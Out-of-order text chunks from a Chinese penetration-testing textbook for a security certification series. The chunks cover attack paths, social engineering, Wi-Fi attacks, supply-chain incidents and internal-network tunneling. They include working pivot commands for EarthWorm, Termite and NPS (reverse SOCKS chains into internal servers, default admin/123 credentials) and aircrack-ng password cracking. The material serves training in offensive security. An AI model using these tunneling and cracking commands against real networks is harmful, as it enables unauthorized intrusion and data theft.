在攻击机配置代理客户端，代理服务器地址为攻击机IP，使用代理 访问财务系统，如图7-49所示。"},
    {"text": "图7-50 场景拓扑 攻击者获取目标网络的邮件服务器、办公电脑和OA系统的权限， 邮件服务器可访问外网和办公电脑但无公网IP，办公电脑不能访问外网 和财务系统但可以访问OA系统，OA系统服务器可以访问财务系统。"},
    {"text": "可先在攻击机运行命令“ew -s rcsocks -l 1080 -e 1111”配置转接隧 道，如图7-51所示，将1080端口收到的代理请求转交给反连1111端口的 主机。 图7-51 配置转接隧道 在邮件服务器上运行命令“ew -s lcx_slave -d 192.168.0.111 -e 1111 -f 3.3.3.3 -g 2222”，将来自攻击机1111端口的流量转发到办公电脑的2222 端口，端口转发如图7-52所示。 图7-52 端口转发 在办公电脑上运行命令“ew -s lcx_listen -l 2222 -e 3333”，将2222端 口收到的代理请求转交给3333端口，端口转发如图7-53所示。 图7-53 端口转发 在OA服务器上运行命令“ew -s rssocks -d 3.3.3.3 -e 3333”启动 SOCKS5服务，并反向连接到办公电脑的3333端口上，如图7-54所示。"},
    {"text": "图7-55 使用代理访问财务系统 7.5.4 Termite 隐秘隧道搭建 Termite是EW的最新版，具有多平台支持、跳板机互联、正反向级 联、小巧无依赖、内置Shell令主机管理更方便等特性，但是原作者已经 将其下架。"},
    {"text": "Termite分为管理端admin和客户端agent，被控主机都会部署agent， agent之间可以互相连接，然后通过admin进行管理。 常用命令如下： 管理端连接到agent后会拿到一个内置Shell，支持的指令及用法如 下： 1 ．正向代理 下面介绍一个使用Termite搭建正向代理的实例，场景拓扑如图7-56 所示。"},
    {"text": "图7-56 场景拓扑 若攻击机可直接访问目标机，可以直接在目标机运行命令“agent -l 1111”，开启端口为1111的agent服务，如图7-57所示。 图7-57 开启agent服务 然后在攻击机运行命令“admin -c 192.168.0.122 -p 1111”连接agent， 如图7-58所示。 图7-58 连接agent 连接到agent后，运行“show”命令查看节点情况，发现0为管理节 点，也就是攻击机，1为客户端节点，也就是目标机，然后运行命 令“goto 1”使用客户端节点，也就是切换到目标机，切换节点如图7-59 所示。 图7-59 切换节点 切换到客户端节点1后运行命令“socks 1080”，运行后在攻击机的 1080端口会启动监听服务，如图7-60所示，而服务提供者为1号节点， 也就是目标机。 图7-60 启动监听服务 最后便可通过攻击机的1080端口来使用目标机的SOCKS代理。"},
    {"text": "图7-61 场景拓扑 若攻击机无法直接访问目标机，但是目标机可以访问攻击机和内网 主机，可以先在攻击机运行命令“agent -l 1111”，开启端口为1111的 agent服务，然后再运行命令“admin -c 127.0.0.1 -p 1111”连接本地的agent 并管理agent，如图7-62所示。 图7-62 连接本地的agent并管理agent 在目标机运行命令“agent -c 10.211.55.2 -p 1111”与攻击机的1111端 口建立反向连接，如图7-63所示。 图7-63 建立反向连接 在攻击机运行命令“show”查看当前节点，发现目标机ID为3，运行 命令“goto 3”切换到目标机节点，然后运行命令“socks 1080”，运行后在 攻击机的1080端口会启动监听服务，而服务提供者为3号节点，启动监 听服务如图7-64所示。 图7-64 启动监听服务 最后便可通过攻击机的1080端口使用目标机的Socks代理。"},
    {"text": "图7-65 场景拓扑 攻击者获取目标网络的官网服务器和OA系统的服务器权限，官网 服务器可访问外网但无公网IP，还能访问OA服务器但无法访问核心 区，OA服务器无法访问外网，但是可以访问核心区。 遇到上述场景可先在攻击机运行命令“agent -l 1111”，开启端口为 1111的agent服务，然后再运行命令“admin -c 127.0.0.1 -p 1111”管理 agent，如图7-66所示。 图7-66 管理agent 在官网服务器运行“agent -c 1.1.1.2 -p 1111”，反向连接到攻击机的 1111端口，如图7-67所示。 图7-67 反向连接 在OA服务器运行“agent -l 2222”开启监听，如图7-68所示。 图7-68 开启监听 在攻击机切换到官网服务器节点，使用“connect”连接OA服务器的 2222端口，切换节点并连接如图7-69所示。 图7-69 切换节点并连接 然后切换到OA服务器节点，启动SOCKS服务，如图7-70所示，本 地1080端口会启动监听服务，而服务提供者为3号节点，也就是OA服务 器。 图7-70 启动SOCKS服务 最后便可通过攻击机的1080端口使用OA服务器的SOCKS服务进行 代理，在火狐配置好代理后访问财务系统，使用SOCKS服务如图7-71所 示。"},
    {"text": "图7-72 场景拓扑 攻击者获取目标网络的邮件服务器、办公电脑和OA系统的权限， 邮件服务器可访问外网和办公电脑但无公网IP，办公电脑不能访问外网 和财务系统但可以访问OA系统，OA系统服务器可以访问财务系统。"},
    {"text": "遇到上述场景，可先在攻击机运行命令“agent -l 1111”，开启端口为 1111的agent服务，然后再运行命令“admin -c 127.0.0.1 -p 1111”管理 agent，启动agent并管理如图7-73所示。 图7-73 启动agent并管理 在邮件服务器运行“agent -c 1.1.1.2 -p 1111”，反向连接到攻击机的 1111端口，反向连接如图7-74所示。 图7-74 反向连接 在攻击机切换到邮件服务器节点，运行“listen 2222”，监听2222端 口，等待其他agent连接，切换节点并开启监听如图7-75所示。 图7-75 切换节点并开启监听 在办公电脑运行“agent -c 192.168.0.1 -p 2222”连接邮件服务器，如 图7-76所示。 图7-76 连接邮件服务器 从攻击机切换到办公电脑节点，运行“listen 3333”，监听3333端 口，然后在OA服务器运行“agent -c 192.168.1.1 -p 3333”连接办公电脑， 连接agent如图7-77所示。 图7-77 连接agent 然后切换到OA服务器节点，启动SOCKS服务，本地1080端口会启 动监听服务，如图7-78所示，而服务提供者为4号节点，也就是OA服务 器。 图7-78 启动监听服务 最后便可通过攻击机的1080端口使用OA服务器的SOCKS服务进行 代理，在火狐配置好的代理后访问核心区的财务系统，使用SOCKS服 务如图7-79所示。"},
    {"text": "图7-79 使用SOCKS服务 7.5.5 NPS 隐秘隧道搭建 NPS是一款用Go语言编写的跨平台的内网穿透代理服务器，可 从“https://github. com/ehang-io/nps/releases”下载。"},
    {"text": "1 ．配置文件简介 服务端配置文件如下： 客户端配置文件如下： 2 ．安装启动 NPS分为服务端和客户端，服务端的默认Web管理端口为8080，默 认用户名/密码为admin/123，安装与启动命令如下： 3 ．配置穿透服务 由于NPS使用的配置文件比较繁杂，客户端若想更改配置，需要重 新启动，因此NPS主要是通过Web界面操作，客户端与服务端建立连接 后，即可通过Web界面配置TCP/UDP隧道，搭建HTTP/SOCKS5代理 等，这样方便快捷。"},
    {"text": "图7-80 场景拓扑 1）建立连接 此场景攻击机使用Kali，在攻击机运行命令“./nps install”安装服务 端，如图7-81所示。 图7-81 安装服务端 运行命令“nps start”启动服务端，如图7-82所示。 图7-82 启动服务端 通过8080端口访问服务端的Web界面，如图7-83所示。 图7-83 Web界面 输入默认用户名、密码admin、123登录，登录后可以看到默认客户 端连接端口为8024，登录后的Web界面如图7-84所示。 图7-84 登录后的Web界面 添加客户端，如图7-85所示，配置唯一验证密钥，验证密钥在从客 户端连接到服务端时使用，此处配置为“any”，然后开启压缩和加密传 输。 图7-85 添加客户端 最后在边界主机运行命令“npc -server=1.1.1.1:8024 -vkey=any”来连 接服务端，建立连接如图7-86所示。 图7-86 建立连接 连接成功后在攻击机的Web界面可看到客户端上线，如图7-87所 示。 图7-87 客户端上线 2）TCP隧道 客户端上线后便可以通过Web界面单击上线的客户端、查看选项、 配置隧道，例如，若想访问内网主机的3389端口，则可通过TCP隧道将 内网主机的3389端口映射到攻击机的1111端口，单击“新增”，配置目 标“192.168.2.2:3389”，配置服务端口为“1111”，TCP隧道如图7-88所 示。 图7-88 TCP隧道 TCP隧道建立成功后，即可通过连接攻击机的1111端口来连接内网 主机的远程桌面，在攻击机运行命令“rdesktop 1.1.1.1:1111”连接本地的 1111端口，隧道的使用如图7-89所示。"},
    {"text": "3）SOCKS5代理 若想搭建HTTP代理或SOCKS代理，只需选择对应模式，填写服务 端端口即可，以SOCKS为例，选择模式为“SOCKS代理”，如图7-90所 示，服务端端口为“1234”。"},
    {"text": "网络安全攻防技术实战 版权信息 C O P Y R I G H T 书名：网络安全攻防技术实战 作者：闵海钊等 出版社：电子工业出版社 出版时间：2020年10月 ISBN：9787121395505 字数：538千字 版权方：电子工业出版社有限公司 版权所有·侵权必究 内容简介 本书是“奇安信认证网络安全工程师系列丛书”之一。 全书针对网络 安全攻防技术展开讲解，内容包含攻击路径及流程、信息收集、漏洞分 析、Web渗透测试、权限提升、权限维持、内网渗透代理、内网常见攻 击、后渗透、痕迹清除等。"},
    {"text": "前言 2016年，由六部委联合发布的《关于加强网络安全学科建设和人才 培养的意见》指出：“网络空间的竞争，归根结底是人才竞争。 从总体 上看，我国网络安全人才还存在数量缺口较大、能力素质不高、结构不 尽合理等问题，与维护国家网络安全、建设网络强国的要求不相适 应。 ” 网络安全人才的培养是一项十分艰巨的任务，原因有二：其一，网 络安全的涉及面非常广，至少包括密码学、数学、计算机、通信工程、 信息工程等多门学科，因此，其知识体系庞杂，难以梳理； 其二，网络 安全的实践性很强，技术发展更新非常快，对环境和师资要求也很高。 奇安信凭借多年网络安全人才培养经验及对行业发展的理解，基于 国家的网络安全战略，围绕企业用户的网络安全人才需求，设计和建设 了网络安全人才的培训、注册和能力评估体系—“奇安信网络安全工程 师认证体系”（见下图）。 奇安信网络安全工程师认证体系 该体系共分三个方向和三个层级。 三个方向分别是基于安全产品解 决方案的产品支持方向、基于客户安全运营人才需求的安全运营方向、 基于攻防体系的安全攻防方向。 三个层级分别是奇安信认证助理网络安 全工程师（QCCA，Qianxin Certified Cybersecurity Associate）、奇安信 认证网络安全工程师（QCCP，Qianxin Certified Cybersecurity Professional）、奇安信认证网络安全专家（QCCE，Qianxin Certified Cybersecurity Expert）。"},
    {"text": "基于“奇安信网络安全工程师认证体系”，奇安信组织专家团队编写 了“奇安信认证网络安全工程师系列丛书”，本书是其中一本，分10章介 绍网络安全攻防技术实战，结构安排如下。 第 1 章 攻击路径及流程：通过多个案例讲解了网络攻击路径和攻 击流程，攻击路径分为互联网Web应用系统攻击、互联网旁站攻击、互 联网系统与服务攻击、移动App应用攻击、社会工程学攻击、近源攻击 和供应链攻击等； 攻击流程一般分为四个阶段：信息收集阶段、漏洞分 析阶段、攻击阶段、后渗透阶段，并通过案例进行讲解。 第 2 章 信息收集：在网络攻防的过程中，信息收集是非常重要的 一步，本章通过案例讲解了如何通过IP资源、域名发现、服务器信息收 集、人力资源情报收集、网站关键信息识别等进行信息收集。 第 3 章 漏洞分析：本章主要讲解了通过Google hacking、Exploit Database、Shodan和CVE/CNVD/CNNVD进行在线的漏洞查找及分析研 究，然后讲解了如何利用Web漏洞扫描、系统漏洞扫描和弱口令扫描进 行常见漏洞的发现。 第 4 章 Web 渗透测试：本章涉及的内容既有常见高危的Web TOP 10漏洞，如：注入漏洞、文件上传漏洞、文件包含漏洞、命令执行漏 洞、跨站脚本（XSS）漏洞、反序列化漏洞、SSRF漏洞等，又包含框架 漏洞、CMS漏洞、绕过Web防火墙等。 此部分的内容在《Web安全原理 分析与实践》一书中结合漏洞代码从原理到实践进行了详细讲解，本书 不再详述。"},
    {"text": "第 5 章 权限提升：本章详细地讲解Windows操作系统、Linux操作 系统多种不同的提权方式，讲解了如何利用常用的SQL Server数据库、 MySQL数据库、Oracle数据库提权，以及如何利用常见的第三方软件 （如：FTP软件、远程管理软件）进行提权。 第 6 章 权限维持：本章主要讲解Windows操作系统通过隐藏系统 用户、修改注册表、利用辅助功能（如替换粘滞键）、WMI后门、远程 控制、Rookit、进程注入、创建服务、计划任务和启动项等方式进行权 限维持。 Linux系统通过预加载型动态链接库后门、SSH后门、VIM后 门、协议后门、PAM后门、服务后门、远程控制、进程注入、Rookit等 方式进行权限维持。"},
    {"text": "第 7 章 内网渗透代理：本章主要讲解如何通过端口转发、反弹 Shell和搭建代理等方式进行内网穿透，详细讲述了LCX、SSH端口转 发，通过NC、Bash、Python进行Shell反弹，通过reGeorg、FRP、 EarthWorm、Termite和NPS进行隐秘隧道搭建。 第 8 章 内网常见攻击：本章主要讲解如何通过操作系统漏洞、网 络设备漏洞、路由器漏洞、无线网攻击、中间人劫持攻击、钓鱼攻击对 内网进行渗透攻击。 第 9 章 后渗透：本章主要讲解内网敏感信息收集、本机信息收 集、网络架构信息收集和目前后渗透中常用的域控渗透，域控渗透详细 讲述了什么是域、域信息收集、域控攻击方式及域控维持权限的多种方 式。"},
    {"text": "第 10 章 痕迹清除：攻防渗透的最后阶段是痕迹清除，它是为了躲 避反追踪和隐藏攻击的一种方式，本章将介绍常见的痕迹清除方法，主 要涉及Windows日志痕迹清除、Linux日志痕迹清除和Web日志痕迹清 除。"},
    {"text": "编著者 2020年6月 第 1 章 攻击路径及流程 1.1 攻击路径 随着互联网的高速发展及5G时代的到来，互联网已经逐渐成为网 络应用的主要载体，用户可以通过互联网浏览网页、购物、办公、娱乐 等，科技的发展给人们的生活带来了极大的便利，但是网络安全相关的 攻击也愈演愈烈，攻击者利用互联网应用本身存在的漏洞进行数据获 取、信息系统破坏的安全事件层出不穷，给国家安全、企业利益和个人 隐私安全等带来了极大的危害。 互联网场景下的攻击方式多种多样，攻击者可以对目标的任意系统 开放的任何端口或服务进行攻击，大致分为以下几种攻击路径： （1）互联网Web应用系统攻击。"},
    {"text": "开放式Web应用程序安全项目（Open Web Application Security Project，OWASP）是一个组织，它提供有关计算机和互联网应用程序 的公正、实际、有成本效益的信息，其目的是协助个人、企业和机构来 发现和使用可信赖的软件。"},
    {"text": "Web安全攻击的方式多种多样，表1-1中的漏洞类型是OWASP组织 在公开发布的2017年版的《OWASP Top 10》中介绍的前10大Web安全 漏洞，主要基于超过40家专门从事应用程序安全业务的公司提交的数 据，以及500位以上的个人完成的行业调查。"},
    {"text": "图1-1 某公司网络拓扑 表1-1 2017年版的《OWASP Top 10》 续表 从2017年版的《OWASP Top 10》中可以看出，注入仍然是十大安 全漏洞之首，下面将根据如图1-1所示的某公司网络拓扑来讲解攻击者 针对Web应用系统的攻击路径。"},
    {"text": "接下来通过信息收集发现该CMS的相关漏洞，发现其存在 OWASP Top 10中的SQL注入漏洞，UsualToolCMS相关漏洞如图1-3所 示。 图1-3 UsualToolCMS相关漏洞 构造如下数据包，利用SQLMap注入工具成功获得数据（注：此章 节只涉及渗透测试流程，具体Web安全相关漏洞的原理及利用方式在 《Web安全原理分析与实践》一书中已经通过具体案例进行了详细的讲 解，此处不再详述）。"},
    {"text": "利用SQLMap注入，得到数据库相关信息，SQLMap注入结果如图 1-4所示。 图1-4 SQLMap注入结果 接着通过扫描获得了网站后台，并通过SQL注入获取账号密码，登 录到此网站的后台中，网站后台如图1-5所示。"},
    {"text": "根据上面提到的点，我们可以发现存在模板配置，并且模板文件名 及内容均可控，模板配置如图1-6所示。 图1-6 模板配置 通过抓包修改，最终可以获取网站的WebShell，获得网站的控制 权，如图1-7所示。"},
    {"text": "通过WebShell，攻击者可以进一步对内网其他系统 进行渗透（此内容会在之后的章节中讲到）。 图1-7 获取网站WebShell 1.1.2 互联网旁站攻击 旁站是指同一服务器中的不同站点，旁站攻击则是指针对同一服务 器的不同站点进行渗透的方法。 在攻击过程种目标站点往往比较难以攻破，所以也就衍生出了几种 经典的攻击手法： （1）旁站攻击。"},
    {"text": "（1）通过对域名进行反查，获取网站真实IP，如图1-8所示。 图1-8 域名反查获取IP （2）对此IP进行反查，找到旁站域名“fu****.com”，如图1-9所 示。 图1-9 IP反查获取旁站 （3）通过对“fu****.com”进行常规的Web渗透，发现此域名的网站 存在大量的高危漏洞，通过高危漏洞进行Web渗透，最终获取网站的 Webshell，如图1-10所示。 （4）因为“fu****.com”域名的网站与目标网站在同一服务器中，可 以通过“fu****.com”域名上传的Webshell对目标网站进行控制，如图1-11所示。 图1-10 获取旁站Webshell 图1-11 控制目标网站 1.1.3 互联网系统与服务攻击 针对端口的渗透是互联网安全中一直存在的攻击方式，安全管理员 往往通过防火墙、路由器等对端口做安全策略以防止针对端口的入侵， 真实场景中很多管理员因为配置错误导致很多存在高危漏洞的端口暴露 在外面，这样就给了攻击者可乘之机。 服务器运行的不同服务对应不同的端口，对端口渗透就是对服务的 渗透，在对端口渗透之前首先判断目标开启了哪些端口，这些端口运行 的是什么样的服务，其次判断这些服务是否存在漏洞，最后进行渗透。 针对不同的端口和不同的服务会有不同的攻击手法，表1-2中列举 了常见端口与服务的攻击手法。 表1-2 常见端口与服务的攻击手法 续表 续表 通过端口扫描如图1-1所示的某公司网络拓扑外网所在IP，得知公 司外网IP开放21、23、1433、3389、8888等端口，下面针对扫描出来的 端口进行渗透攻击。 通过对这些端口进行暴力破解，成功获得3389端口的账户名、密 码，如图1-12所示。 图1-12 获取3389端口的账户名、密码 通过上面暴力破解获取的用户名、密码信息，连接远程桌面，如图 1-13所示，这样就获取到了目标服务器的控制权。"},
    {"text": "图1-13 连接远程桌面 1.1.4 移动 App 应用攻击 随着智能手机及4G网络的普及和金融科技的深入发展，人们的生 活已经被逐步改变，使用手机支付、办公、购物、娱乐等成为主流方 式。"},
    {"text": "根据中国互联网络信息中心发布的第44次《中国互联网络发展状况 统计报告》，截至2019年6月，我国网民规模达8.54亿，我国手机网民 规模达8.47亿，较2018年底增长2984万，网民使用手机上网的比例达 99.1%。"},
    {"text": "移动安全面临的安全问题，除了移动设备系统本身的漏洞之外，随 着移动市场的扩大、移动设备的普及，App也爆发性的增长，在海量的 App中，App面临着各种各样的威胁，带来新的安全风险，增大了信息 安全的攻击面，攻击者针对企业和目标就有了更多的攻击路径。 移动App系统存在的漏洞主要是App本身的漏洞和与App后端的接口 服务相关的漏洞。 与App后端的接口服务相关的漏洞攻击面跟传统的漏洞攻击面是一 样的，一方面是Web类的漏洞，另一方面是系统、服务方面的漏洞攻击 者利用与App后端的接口服务相关的漏洞进行攻击。 App主要在组件、数据存储等方面存在漏洞，类似《OWASP Top 10》，也有人统计了App漏洞的Top 10，2017年度移动App安全漏洞与 数据泄露现状报告如表1-3所示。 一般常规的App渗透测试除了《OWASP Top 10》中介绍的前十大 Web安全漏洞及攻击手法外，还存在着其他更有特点的漏洞及利用手 法。 表1-3 2017年度移动App安全漏洞与数据泄露现状报告 通过如图1-1所示的某公司网络拓扑，我们了解到公司除了Web应 用服务器之外，还存在移动App应用服务器，通过下载App进行反编 译，发现其中存在Activity公开组件暴露的漏洞，通过此漏洞可以绕过 密码验证，直接进入登录之后的页面。"},
    {"text": "它的主要作用为是否支持其他 应用调用当前组件，如果包含有“intent-filter”，默认值为true，没 有“intent-filter”，默认值为false。 在Activity中该属性用来表示当前Activity是否可以被另一个 Application的组件启动：true表示允许被启动，false表示不允许被启动。"},
    {"text": "本案例中的程序就是因为Activity的属性“android:exported”设置为 true，可以利用此漏洞，对此Activity进行直接调用，绕过了密码的验 证，登录到App应用的后台页面。"},
    {"text": "图1-14 登录界面 （2）利用反编译工具判断是否存在Activity组件暴露的漏洞，反编 译完成后发现PWList Activity的“android:exported”设置为true，说明 PWList的这个Activity允许被外部程序调用，“android:exported”属性如图 1-15所示。 图1-15“android:exported”属性 （3）利用工具绕过密码验证，使用adb命令进行攻击，代码如下。"},
    {"text": "图1-17 后台页面 上文所述就是通过App进行攻击的过程，App的功能与App应用服务 器的接口也可能会有交互，通过接口进行渗透也是常见的攻击方式。"},
    {"text": "1.1.5 社会工程学攻击 社会工程学在20世纪60年代左右作为正式的学科出现，广义社会工 程学的定义是：建立理论并通过利用自然的、社会的和制度上的途径来 逐步地解决各种复杂的社会问题。"},
    {"text": "对于黑客 们来说，一个用户名、一串数字、一串英文代码等几条线索，通过社会 工程学攻击手段，加以筛选、整理，就能把你的所有个人情况信息、家 庭状况、兴趣爱好、婚姻状况、你在网上留下的一切痕迹等信息全部掌 握得一清二楚。"},
    {"text": "有 时候这些偏差被称为“人类硬件漏洞”，一般来讲，常见的社会工程学的 攻击手法主要有以下几种： （1）互联网公开信息检索：社工库检索、搜索引擎检索。"},
    {"text": "本节我们将介绍其中一种，让我们一起回到如图1-1所示的某公司 网络拓扑，通过端口探测我们发现目标主机开放8888端口，通过进一步 识别发现运行的是Web服务，访问此服务，发现为内部技术分享博客， 如图1-18所示。"},
    {"text": "图1-18 内部技术分享博客 通过对博客的翻阅，我们获取了目标的常用ID为“James”，然后进 一步通过搜索引擎获取了其QQ为“83*****”，接着我们通过大数据检索 进一步获取信息，如图1-19所示。 图1-19 大数据检索 通过其泄露的密码信息，进行撞库攻击，成功登录博客后台，如图 1-20所示。 图1-20 登录博客后台 通过此网站后台存在的漏洞进行攻击，获得网站的Webshell，如图 1-21所示。 图1-21 获得Webshell 上文所述就是典型的社会工程学攻击，攻击者之所以能够登录到后 台中，并不是通过应用存在的漏洞攻击实现的，而是对此博客的博主进 行社会工程学攻击，通过其泄露的常用的用户名、密码信息，进行撞库 攻击，并登录博客后台的。"},
    {"text": "1.1.6 近源攻击 近源攻击是近几年来比较流行的一种攻击方式，是指攻击者靠近攻 击目标发起的攻击行为，常见的如：Wi-Fi攻击、蓝牙攻击、人机接口 攻击、物理攻击、ZigBee攻击等。 与传统的互联网链路的攻击方式不同，互联网链路的安全防护都做 得比较完善，会有防火墙、WAF、IDS等防护检测机制，而近源攻击一 般是对靠近目标企业或者在目标企业内部的Wi-Fi、蓝牙、人机接口等 直接发起攻击，这些位于企业内部的相关无线通信设备及人机接口设备 有大量容易被忽视的脆弱点，攻击者通过近源攻击可以轻而易举地进入 内网中。"},
    {"text": "（3）人机接口攻击：BadUSB、键盘记录器、HDMI嗅探等。 （4）蓝牙攻击：蓝牙重放攻击、蓝牙DDoS攻击、蓝牙MITM攻 击、蓝牙数据嗅探等。 （5）ZigBee攻击：ZigBee窃听攻击、ZigBee密钥攻击等。"},
    {"text": "企业统一部署的Wi-Fi在身份认证、安全性方面一般是比较规范 的，但是存在个别人员违反安全规定私自创建Wi-Fi的情况，如果这些 私自创建的Wi-Fi使用弱加密算法或者弱口令，就给了黑客可乘之机。"},
    {"text": "早在2016年的黑帽安全技术大会上，搭载黑客软件的定制无人 机“Danger Drone”就已经亮相，一架价值500美元的定制设备，搭载配置 黑客最常用的软件树莓派。 在没有获取进入目标单位授权的情况下，攻 击者可以通过“Danger Drone”黑客无人机在目标单位的周围近距离飞 行，尝试查找是否存在有脆弱性的Wi-Fi，然后通过Wi-Fi的漏洞进行攻 击，进入内网，然后实施下一步攻击。"},
    {"text": "攻击者通过多种不同的方式进入目标企业的内部或者使用上 述“Danger Drone”黑客无人机在目标单位的周围近距离飞行，尝试查找 是否存在有脆弱性的Wi-Fi进行攻击。"},
    {"text": "首先要进行扫描，查看是否存在私自搭建的Wi-Fi； 使用命 令“airodump-ng wlan0mon”进行探测，发现存在多个Wi-Fi，我们首先对 SSID为“wifi”的无线网进行攻击，扫描Wi-Fi如图1-22所示。"},
    {"text": "图1-23 握手包 使用命令“aircrack-ng -w /root/pass1000.txt /root/wifi-01.cap”对握手包 进行暴力破解，如图1-24所示，密码破解成功，密码为“12345678”。"},
    {"text": "图1-24 暴力破解 通过对目标企业私自搭建的Wi-Fi进行渗透攻击，最终获取到了Wi- Fi的连接密码，这样就可以通过连接此Wi-Fi进入企业的内网。"},
    {"text": "1.1.7 供应链攻击 供应链是指围绕核心企业，从配套零件开始，制成中间产品及最终 产品，最后由销售网络把产品送到消费者手中，将供应商、制造商、分 销商直到最终用户连成一个整体的功能网链结构。 供应链攻击是一种针对开发人员、第三方供应商和合作伙伴的新兴 威胁，是对攻击目标的一种迂回式攻击方式。 供应链处于攻击目标的上 游，大量的第三方服务、产品、软件作为攻击目标的上游产品，影响面 极大，因为目标与供应商存在一定的信任关系，使供应链攻击隐蔽性 强。 供应链攻击涉及软件、硬件、服务、供应商人员等多个方面。 近几 年来，针对供应链攻击的事件屡见不鲜，供应链攻击造成的影响越来越 大。 下面是关于供应链攻击的几个典型事件。"},
    {"text": "1 ．非苹果官方 Xcode 被植入恶意代码事件 2015年9月大约有40个iOS应用从App Store中下架，因为开发者从非 官方途径下载的Xcode带有XcodeGhost 病毒，使编译出的 App 被注入第 三方的代码，向指定网站上传用户数据。 截止到2015年9月22日凌晨3 时，恶意软件XcodeGhost感染了692种（按照版本号计算为858个）应 用，其中受影响较大的有微信、网易云音乐、滴滴出行、高德地图等。"},
    {"text": "Xcode是由苹果公司开发，运行在操作系统Mac OS X上的集成开发 工具（IDE），以快速、高效、便捷著称，是目前开发Mac OS和iOS应 用程序的最快捷、最普遍的方式，而许多第三方应用商店也推出了各自 的非官方版本，虽然Xcode是苹果公司开源免费的，但是由于开发者下 载此开发软件慢，所以很多开发人员就从第三方应用商店下载Xcode。"},
    {"text": "正是这些非官方的版本被植入了恶意代码XcodeGhost，被植入恶意程序 的苹果App可以在App Store正常下载并安装使用，该恶意代码具有信息 窃取行为，并具有恶意远程控制的功能。 非苹果官方Xcode被植入恶意代码是典型的供应链攻击事件，攻击 者通过对上游的服务开发工具进行恶意代码植入，正常的开发者使用 XcodeGhost开发App就植入了后门，导致大量的App和用户受到影响。"},
    {"text": "美国国家安全局在PRISM计划中可以获得 的数据包括：电子邮件、视频和语音、影片、照片、VoIP交谈内容、档 案传输、登入通知，以及社交网络细节。"},
    {"text": "棱镜计划会挖掘各大技术公司的数据，美国媒体曝出微软、雅虎、 谷歌、Facebook、PalTalk、YouTube、Skype、AOL、苹果都在其中， 这是一个影响范围极大的供应链攻击，几乎这9家国际网络巨头的所有 用户都受到了影响。"},
    {"text": "3 ． Juniper 设备 NetScreenOS 系统后门事件 2015年Juniper网络公司在内部代码审查中发现ScreenOS中未经授权 的代码，可以让攻击者获得对NetScreen设备的管理权限和解密VPN连 接。"},
    {"text": "Juniper网络公司作为全球领先的联网和安全性解决方案供应商，公 司的客户来自全球各行各业，包括主要的网络运营商、企业、政府机 构，以及研究和教育机构等，使全球数以万计的用户受到影响。"},
    {"text": "1.2 攻击流程 1.2.1 攻击流程简介 攻击者对目标的攻击并不是毫无章法的，而是有一定攻击流程的， 攻击流程一般分为四个阶段：信息收集阶段、漏洞分析阶段、攻击阶 段、后渗透阶段。 攻击者在明确攻击目标后，第一步不是对攻击目标发起攻击，而是 要对目标进行信息收集，信息收集的内容涉及网络架构、IP资源、域名 信息、服务器信息、人力资源信息等多个方面。 攻击者通过对IP资源、 域名信息、服务器信息收集后就可以分析出目标的网络架构及IT资产信 息；"},
    {"text": "上文讲到攻击路径分为互联网链路攻击、社会工程学攻击、近源攻 击、供应链攻击等多种不同的攻击路径，攻击者是通过互联网链路的漏 洞进行攻击，还是通过供应商进行供应链攻击，亦或是通过社会工程学 对相关的关键人员进行钓鱼攻击，都取决于对收集到的信息综合分析的 结果。 实际攻击中，攻击者收集到相关信息后就需要对所有的信息进行 综合分析，判断哪个地方可能是目标的薄弱点，将薄弱点作为最优先的 攻击路径，这样的攻击才可能是最快速有效的攻击。 攻击者通过综合分析确定攻击路径后，下一步就是实施攻击，这个 过程称为“打点”，就是通过攻击获取目标的一个有效权限。 最有效的攻 击过程就是“一击致命”，通过最少的攻击流量达到获取权限的目的，攻 击者可能会通过nday漏洞、1day漏洞、甚至0day漏洞进行攻击，还有可 能要通过各种方式来绕过目标的防御机制，如防火墙、WAF等，攻击 者在攻击的过程中还要注意隐蔽性，减少不必要的扫描和测试行为，大 规模扫描和测试有可能会触发目标的告警机制，攻击行为可能会被发 现。 攻击者“打点”成功、获得应用服务器的权限后，下一步要做的就是 对内网进行信息收集，横向渗透获取最终目标的数据及权限，这个阶段 称为后渗透阶段。 后渗透阶段需要做的事情非常多，为了能够对此“据 点”服务器进行长期有效控制，还需要进行权限提升和后门植入，通过 植入隐蔽性的后门程序，即使是漏洞修复了或者是服务器重启，攻击者 依然可以通过植入的后门对服务器进行控制。"},
    {"text": "当攻击者建 立一个或者多个有效“据点”后，最重要的一步就是进行信息收集，首先 要判断目前的网络架构，“打点”获取权限的服务器是否跟目标在同一网 络域中，如果不是在同一个网络域中还需要进一步进行渗透。 在内网渗 透过程中还要重点对视频监控器、摄像头、LED大屏服务器、共享服务 器、FTP服务器、OA服务、邮件服务器、Wiki服务器等重点服务器、堡 垒机、运维系统、监控系统等集权类系统进行关注。 1.2.2 典型案例 本节将通过案例，讲述攻击者是如何通过信息收集、漏洞分析、攻 击渗透、后渗透最终拿到目标权限的。 某公司网络拓扑如图1-1所示，攻击者的目标是要拿到核心区数据 库服务器的数据及权限。 信息收集阶段：攻击者在执行任务时获取的信息只有目标的互联网 主站域名的信息“www.any.com”，并不是整个目标网络拓扑的信息。 如 上文所述，正确的攻击流程的第一步是要对“www.any.com”这个域名进 行信息收集，信息收集分为IT资产收集和人力资源情报收集两部分，本 案例只涉及IT资产收集，并利用IT资产存在的漏洞攻击目标。 首先对“www.any.com”进行域名反查，通过“站长工具”获取其服务 器IP信息及旁站信息，其IP地址为“192.168.88.21”，发现存在一个旁 站：网上办公系统，域名反查与旁站查询如图1-25所示。 图1-25 域名反查与旁站查询 获取IP信息后，下一步可以对其端口服务信息进行扫描识别，发现 开放多个端口，运行Apache、IIS、SQL Server、MySQL等多个服务， 端口扫描结果如图1-26所示。 图1-26 端口扫描结果 漏洞分析阶段：利用自动化扫描工具进行漏洞扫描，如图1-27所 示，发现可能存在SQL注入漏洞。 图1-27 漏洞扫描 漏洞攻击阶段：尝试利用SQL注入进行攻击，发现存在SQL注入漏 洞，通过此漏洞获得此网站的Webshell，可以实现对此网站的控制，如 图1-28所示。"},
